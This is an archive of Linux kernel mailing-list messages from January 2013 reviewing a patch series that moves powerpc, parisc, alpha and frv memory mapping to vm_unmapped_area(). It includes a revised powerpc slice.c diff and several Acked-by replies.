	by kanga.kvack.org (Postfix) with SMTP id D40216B0062
	for <linux-mm@kvack.org>; Tue,  8 Jan 2013 22:33:13 -0500 (EST)
Original-Received: from gate.crashing.org ([63.228.1.57]) (using TLSv1) by na3sys010amx118.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 03:33:14 GMT
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id r093Wwmv008351;
	Tue, 8 Jan 2013 21:32:59 -0600
In-Reply-To: <CANN689EJV_7Q7J4j1ttDxZuqbwD53PAuCHb5DhiE-AVbmNSR7Q@mail.gmail.com>
X-Mailer: Evolution 3.6.0-0ubuntu3 
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <benh@kernel.crashing.org> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93027 gmane.linux.kernel:1418812 gmane.linux.ports.ppc64.devel:86892 gmane.linux.ports.parisc:4718 gmane.linux.ports.alpha:1991 gmane.linux.ports.ia64:22867
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93027>

On Tue, 2013-01-08 at 18:38 -0800, Michel Lespinasse wrote:
> 
> Well no fair, the previous patch (for powerpc as well) has 22
> insertions and 93 deletions :)
> 
> The benefit is that the new code has lower algorithmic complexity, it
> replaces a per-vma loop with O(N) complexity with an outer loop that
> finds contiguous slice blocks and passes them to vm_unmapped_area()
> which is only O(log N) complexity. So the new code will be faster for
> workloads which use lots of vmas.
> 
> That said, I do agree that the code that looks for contiguous
> available slices looks kinda ugly - just not sure how to make it look
> nicer though.

Ok. I think at least you can move that construct:

+               if (addr < SLICE_LOW_TOP) {
+                       slice = GET_LOW_SLICE_INDEX(addr);
+                       addr = (slice + 1) << SLICE_LOW_SHIFT;
+                       if (!(available.low_slices & (1u << slice)))
+                               continue;
+               } else {
+                       slice = GET_HIGH_SLICE_INDEX(addr);
+                       addr = (slice + 1) << SLICE_HIGH_SHIFT;
+                       if (!(available.high_slices & (1u << slice)))
+                               continue;
+               }

Into some kind of helper. It will probably compile to the same thing but
at least it's more readable and it will avoid a fuckup in the future if
somebody changes the algorithm and forgets to update one of the
copies :-)

Cheers,
Ben.


--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 7/8] mm: use vm_unmapped_area() on powerpc architecture
Date: Wed, 9 Jan 2013 03:23:13 -0800
Lines: 199
Approved: news@gmane.org
Message-ID: <20130109112313.GA4905@google.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
 <1357694895-520-8-git-send-email-walken@google.com>
 <1357697739.4838.30.camel@pasglop>
 <CANN689EJV_7Q7J4j1ttDxZuqbwD53PAuCHb5DhiE-AVbmNSR7Q@mail.gmail.com>
 <1357702376.4838.32.camel@pasglop>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1357730604 27332 80.91.229.3 (9 Jan 2013 11:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 11:23:24 +0000 (UTC)
Cc: Rik van Riel <riel@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 12:23:39 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Tstkw-0002wu-3A
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 12:23:38 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id A75376B004D; Wed,  9 Jan 2013 06:23:20 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7E83F6B0062; Wed,  9 Jan 2013 06:23:20 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3B60E6B0069; Wed,  9 Jan 2013 06:23:20 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx163.postini.com [74.125.245.163])
	by kanga.kvack.org (Postfix) with SMTP id 29E9A6B004D
	for <linux-mm@kvack.org>; Wed,  9 Jan 2013 06:23:19 -0500 (EST)
Original-Received: from mail-pa0-f52.google.com ([209.85.220.52]) (using TLSv1) by na3sys010amx163.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 11:23:19 GMT
Original-Received: by mail-pa0-f52.google.com with SMTP id fb1so972920pad.25
        for <linux-mm@kvack.org>; Wed, 09 Jan 2013 03:23:18 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=SqHBNfd8qNSRnSFab7jwC+9LWyi6gLYTwPa0OL1MjhA=;
        b=EgqO4IOpk5m/gcGwU0e13qYby93Gkd7rUqtyyWJSQOrNKvpl0J/JbLX60EME9mzRdY
         TMmxFcA7dw2u/67X0FycLpvxDMGKhAd887zJB2gfAujEos+SINLvklkw0j8a67n2g3T9
         p+y2yi+ks5Sy+nNMed2bh7N4j9oy9YRBOXgq1h+GUeN/lb972AfWVLZMpcmgAQuaYsZ6
         Br/fvzgN7AP8eOHjhAIZmIimk+kCuDR0gftaYAyoOKXc9dYl0Vvkds9avGClOfhwKRP9
         2bG++hCZG0ekNI5o+rW51Ct8xztlbN71XlKB13yg3N+6JWWBTuCO4xjkNxnRkw5EYcHe
         Np5Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent:x-gm-message-state;
        bh=SqHBNfd8qNSRnSFab7jwC+9LWyi6gLYTwPa0OL1MjhA=;
        b=ROwfVCtcnGRz7wJoqJJgjYOWiuIwbIs074yO6w1yyMthdXUpVmeituvMarmxkxBdi/
         egCB9AQ4P9ukqUCUgEF1xTBlisy4RxQuOfshiZGO22fqFDXttbMSr5/9mWeRj2dK32jF
         blWzTJ3UJkJ4qy3R5IEaBKkwkdv8wuV5bf6php+I1RKVDGO2y3S1tC9J6V0bG8E9eL/+
         /ks/PdxgHuj2FjuW5K4MdbBvoZ0L+/dZZMI7+D8AIrthUpanzECfCe7TMNHZXZQ6qaS9
         aaf8e9Kmxomrm2LTCUor9xR8PlRU30qmZAsRiycg5PVAtc4YjrnyxF/lHzZTMcJqpzve
         lI3w==
X-Received: by 10.66.79.195 with SMTP id l3mr187832859pax.82.1357730598267;
        Wed, 09 Jan 2013 03:23:18 -0800 (PST)
Original-Received: from google.com ([2620:0:1000:3003:baac:6fff:fe98:d63f])
        by mx.google.com with ESMTPS id nf9sm41481134pbc.17.2013.01.09.03.23.15
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 09 Jan 2013 03:23:17 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1357702376.4838.32.camel@pasglop>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Gm-Message-State: ALoCoQmnBJqV46acfaP2DhXY8CbVsMpO/Hzn16dri0iE32XI+QdeNeLSJDQskPqVFzqbs9bjMtbsJw1GjA+fJ+eZqe4n1cktPRsEIiRSiVFkC5bAvzGDLnKiEAAvpUBUK/JK4CR5FshkUPVZYrZnVBlAlXvQ92Veb7Qs2Y12KXPr5HV+E6i92HUGStRGgWdUQBJgc5O+Q64O
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93075 gmane.linux.kernel:1418982 gmane.linux.ports.ppc64.devel:86911 gmane.linux.ports.parisc:4719 gmane.linux.ports.alpha:1992 gmane.linux.ports.ia64:22884
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93075>

On Wed, Jan 09, 2013 at 02:32:56PM +1100, Benjamin Herrenschmidt wrote:
> Ok. I think at least you can move that construct:
> 
> +               if (addr < SLICE_LOW_TOP) {
> +                       slice = GET_LOW_SLICE_INDEX(addr);
> +                       addr = (slice + 1) << SLICE_LOW_SHIFT;
> +                       if (!(available.low_slices & (1u << slice)))
> +                               continue;
> +               } else {
> +                       slice = GET_HIGH_SLICE_INDEX(addr);
> +                       addr = (slice + 1) << SLICE_HIGH_SHIFT;
> +                       if (!(available.high_slices & (1u << slice)))
> +                               continue;
> +               }
> 
> Into some kind of helper. It will probably compile to the same thing but
> at least it's more readable and it will avoid a fuckup in the future if
> somebody changes the algorithm and forgets to update one of the
> copies :-)

All right, does the following look more palatable then ?
(didn't re-test it, though)

Signed-off-by: Michel Lespinasse <walken@google.com>

---
 arch/powerpc/mm/slice.c |  123 ++++++++++++++++++++++++++++++-----------------
 1 files changed, 78 insertions(+), 45 deletions(-)

diff --git a/arch/powerpc/mm/slice.c b/arch/powerpc/mm/slice.c
index 999a74f25ebe..3e99c149271a 100644
--- a/arch/powerpc/mm/slice.c
+++ b/arch/powerpc/mm/slice.c
@@ -237,36 +237,69 @@ static void slice_convert(struct mm_struct *mm, struct slice_mask mask, int psiz
 #endif
 }
 
+/*
+ * Compute which slice addr is part of;
+ * set *boundary_addr to the start or end boundary of that slice
+ * (depending on 'end' parameter);
+ * return boolean indicating if the slice is marked as available in the
+ * 'available' slice_mark.
+ */
+static bool slice_scan_available(unsigned long addr,
+				 struct slice_mask available,
+				 int end,
+				 unsigned long *boundary_addr)
+{
+	unsigned long slice;
+	if (addr < SLICE_LOW_TOP) {
+		slice = GET_LOW_SLICE_INDEX(addr);
+		*boundary_addr = (slice + end) << SLICE_LOW_SHIFT;
+		return !!(available.low_slices & (1u << slice));
+	} else {
+		slice = GET_HIGH_SLICE_INDEX(addr);
+		*boundary_addr = (slice + end) ?
+			((slice + end) << SLICE_HIGH_SHIFT) : SLICE_LOW_TOP;
+		return !!(available.high_slices & (1u << slice));
+	}
+}
+
 static unsigned long slice_find_area_bottomup(struct mm_struct *mm,
 					      unsigned long len,
 					      struct slice_mask available,
 					      int psize)
 {
-	struct vm_area_struct *vma;
-	unsigned long addr;
-	struct slice_mask mask;
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
+	unsigned long addr, found, next_end;
+	struct vm_unmapped_area_info info;
 
-	addr = TASK_UNMAPPED_BASE;
-
-	for (;;) {
-		addr = _ALIGN_UP(addr, 1ul << pshift);
-		if ((TASK_SIZE - len) < addr)
-			break;
-		vma = find_vma(mm, addr);
-		BUG_ON(vma && (addr >= vma->vm_end));
+	info.flags = 0;
+	info.length = len;
+	info.align_mask = PAGE_MASK & ((1ul << pshift) - 1);
+	info.align_offset = 0;
 
-		mask = slice_range_to_mask(addr, len);
-		if (!slice_check_fit(mask, available)) {
-			if (addr < SLICE_LOW_TOP)
-				addr = _ALIGN_UP(addr + 1,  1ul << SLICE_LOW_SHIFT);
-			else
-				addr = _ALIGN_UP(addr + 1,  1ul << SLICE_HIGH_SHIFT);
+	addr = TASK_UNMAPPED_BASE;
+	while (addr < TASK_SIZE) {
+		info.low_limit = addr;
+		if (!slice_scan_available(addr, available, 1, &addr))
 			continue;
+
+ next_slice:
+		/*
+		 * At this point [info.low_limit; addr) covers
+		 * available slices only and ends at a slice boundary.
+		 * Check if we need to reduce the range, or if we can
+		 * extend it to cover the next available slice.
+		 */
+		if (addr >= TASK_SIZE)
+			addr = TASK_SIZE;
+		else if (slice_scan_available(addr, available, 1, &next_end)) {
+			addr = next_end;
+			goto next_slice;
 		}
-		if (!vma || addr + len <= vma->vm_start)
-			return addr;
-		addr = vma->vm_end;
+		info.high_limit = addr;
+
+		found = vm_unmapped_area(&info);
+		if (!(found & ~PAGE_MASK))
+			return found;
 	}
 
 	return -ENOMEM;
@@ -277,39 +310,39 @@ static unsigned long slice_find_area_topdown(struct mm_struct *mm,
 					     struct slice_mask available,
 					     int psize)
 {
-	struct vm_area_struct *vma;
-	unsigned long addr;
-	struct slice_mask mask;
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
+	unsigned long addr, found, prev;
+	struct vm_unmapped_area_info info;
 
-	addr = mm->mmap_base;
-	while (addr > len) {
-		/* Go down by chunk size */
-		addr = _ALIGN_DOWN(addr - len, 1ul << pshift);
+	info.flags = VM_UNMAPPED_AREA_TOPDOWN;
+	info.length = len;
+	info.align_mask = PAGE_MASK & ((1ul << pshift) - 1);
+	info.align_offset = 0;
 
-		/* Check for hit with different page size */
-		mask = slice_range_to_mask(addr, len);
-		if (!slice_check_fit(mask, available)) {
-			if (addr < SLICE_LOW_TOP)
-				addr = _ALIGN_DOWN(addr, 1ul << SLICE_LOW_SHIFT);
-			else if (addr < (1ul << SLICE_HIGH_SHIFT))
-				addr = SLICE_LOW_TOP;
-			else
-				addr = _ALIGN_DOWN(addr, 1ul << SLICE_HIGH_SHIFT);
+	addr = mm->mmap_base;
+	while (addr > PAGE_SIZE) {
+		info.high_limit = addr;
+		if (!slice_scan_available(addr - 1, available, 0, &addr))
 			continue;
-		}
 
+ prev_slice:
 		/*
-		 * Lookup failure means no vma is above this address,
-		 * else if new region fits below vma->vm_start,
-		 * return with success:
+		 * At this point [addr; info.high_limit) covers
+		 * available slices only and starts at a slice boundary.
+		 * Check if we need to reduce the range, or if we can
+		 * extend it to cover the previous available slice.
 		 */
-		vma = find_vma(mm, addr);
-		if (!vma || (addr + len) <= vma->vm_start)
-			return addr;
+		if (addr < PAGE_SIZE)
+			addr = PAGE_SIZE;
+		else if (slice_scan_available(addr - 1, available, 0, &prev)) {
+			addr = prev;
+			goto prev_slice;
+		}
+		info.low_limit = addr;
 
-		/* try just below the current vma->vm_start */
-		addr = vma->vm_start;
+		found = vm_unmapped_area(&info);
+		if (!(found & ~PAGE_MASK))
+			return found;
 	}
 
 	/*

-- 
Michel "Walken" Lespinasse
A program is never fully debugged until the last user dies.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rik van Riel <riel@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 1/8] mm: use vm_unmapped_area() on parisc architecture
Date: Wed, 09 Jan 2013 11:56:35 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <50EDA143.8050400@redhat.com>
References: <1357694895-520-1-git-send-email-walken@google.com> <1357694895-520-2-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357750607 27979 80.91.229.3 (9 Jan 2013 16:56:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 16:56:47 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 17:56:59 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TsyxU-0003pZ-J5
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 17:56:56 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 259AF6B005A; Wed,  9 Jan 2013 11:56:39 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id DA5B96B0062; Wed,  9 Jan 2013 11:56:38 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 84B0F6B0069; Wed,  9 Jan 2013 11:56:38 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx145.postini.com [74.125.245.145])
	by kanga.kvack.org (Postfix) with SMTP id DAFB86B005A
	for <linux-mm@kvack.org>; Wed,  9 Jan 2013 11:56:37 -0500 (EST)
Original-Received: from mx1.redhat.com ([209.132.183.28]) (using TLSv1) by na3sys010amx145.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 16:56:37 GMT
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r09GuVwX013196
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 Jan 2013 11:56:31 -0500
Original-Received: from cuia.bos.redhat.com (cuia.bos.redhat.com [10.16.184.35])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r09GuSJP007913;
	Wed, 9 Jan 2013 11:56:28 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <1357694895-520-2-git-send-email-walken@google.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <riel@redhat.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93093 gmane.linux.kernel:1419150 gmane.linux.ports.ppc64.devel:86913 gmane.linux.ports.parisc:4720 gmane.linux.ports.alpha:1993 gmane.linux.ports.ia64:22888
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93093>

On 01/08/2013 08:28 PM, Michel Lespinasse wrote:
> Update the parisc arch_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
>
> Signed-off-by: Michel Lespinasse <walken@google.com>

Acked-by: Rik van Riel <riel@redhat.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rik van Riel <riel@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 2/8] mm: use vm_unmapped_area() on alpha architecture
Date: Wed, 09 Jan 2013 12:01:04 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <50EDA250.5040707@redhat.com>
References: <1357694895-520-1-git-send-email-walken@google.com> <1357694895-520-3-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357750897 30545 80.91.229.3 (9 Jan 2013 17:01:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 17:01:37 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 18:01:51 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Tsz2D-0000Jb-UY
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 18:01:50 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 5E8056B004D; Wed,  9 Jan 2013 12:01:33 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 12CC66B005A; Wed,  9 Jan 2013 12:01:32 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 6637B6B0062; Wed,  9 Jan 2013 12:01:32 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx188.postini.com [74.125.245.188])
	by kanga.kvack.org (Postfix) with SMTP id 8DC736B004D
	for <linux-mm@kvack.org>; Wed,  9 Jan 2013 12:01:31 -0500 (EST)
Original-Received: from mx1.redhat.com ([209.132.183.28]) (using TLSv1) by na3sys010amx188.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 17:01:31 GMT
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r09H13m3014184
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 Jan 2013 12:01:24 -0500
Original-Received: from cuia.bos.redhat.com (cuia.bos.redhat.com [10.16.184.35])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r09H0v96000912;
	Wed, 9 Jan 2013 12:00:57 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <1357694895-520-3-git-send-email-walken@google.com>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <riel@redhat.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93094 gmane.linux.kernel:1419154 gmane.linux.ports.ppc64.devel:86914 gmane.linux.ports.parisc:4721 gmane.linux.ports.alpha:1994 gmane.linux.ports.ia64:22889
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93094>

On 01/08/2013 08:28 PM, Michel Lespinasse wrote:
> Update the alpha arch_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
>
> Signed-off-by: Michel Lespinasse <walken@google.com>

Acked-by: Rik van Riel <riel@redhat.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rik van Riel <riel@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 3/8] mm: use vm_unmapped_area() on frv architecture
Date: Wed, 09 Jan 2013 13:25:44 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <50EDB628.4030508@redhat.com>
References: <1357694895-520-1-git-send-email-walken@google.com> <1357694895-520-4-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357755959 18036 80.91.229.3 (9 Jan 2013 18:25:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 18:25:59 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 19:26:13 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Tt0Lj-0007wN-HL
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 19:26:03 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 15C266B005A; Wed,  9 Jan 2013 13:25:46 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 02E236B005D; Wed,  9 Jan 2013 13:25:45 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id CA0BE6B0062; Wed,  9 Jan 2013 13:25:45 -0500 (EST)
